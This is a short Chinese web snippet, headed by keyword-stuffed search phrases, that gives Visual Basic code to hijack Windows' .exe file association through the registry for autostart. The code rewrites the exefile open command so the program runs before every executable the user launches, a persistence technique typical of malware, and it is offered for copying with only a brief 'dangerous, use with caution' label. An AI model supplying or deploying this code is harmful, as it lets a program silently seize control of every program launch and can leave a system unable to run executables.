VB 修改 注册表 exe 关联 项 自启动,VB 修改 注册表 exe 关联 自启动,VB 修改 exe 关联 自启动,VB 修改 exe 关联 项 自启动,VB 修改 exe 关联 项,VB 修改 注册表 exe 关联 项,VB 注册表 exe 关联 项。

VB修改注册表exe关联项自启动(危险操作,谨慎使用):

Private Sub Form_Load()
    CreateObject("Wscript.Shell").Regwrite "HKEY_CLASSES_ROOT\exefile\shell\open\command\", Replace(App.Path + "\" + App.EXEName + ".exe", "\\", "\") + " " + """%1""" + " %*", "REG_SZ"
    If Command <> "" Then Shell Command
End Sub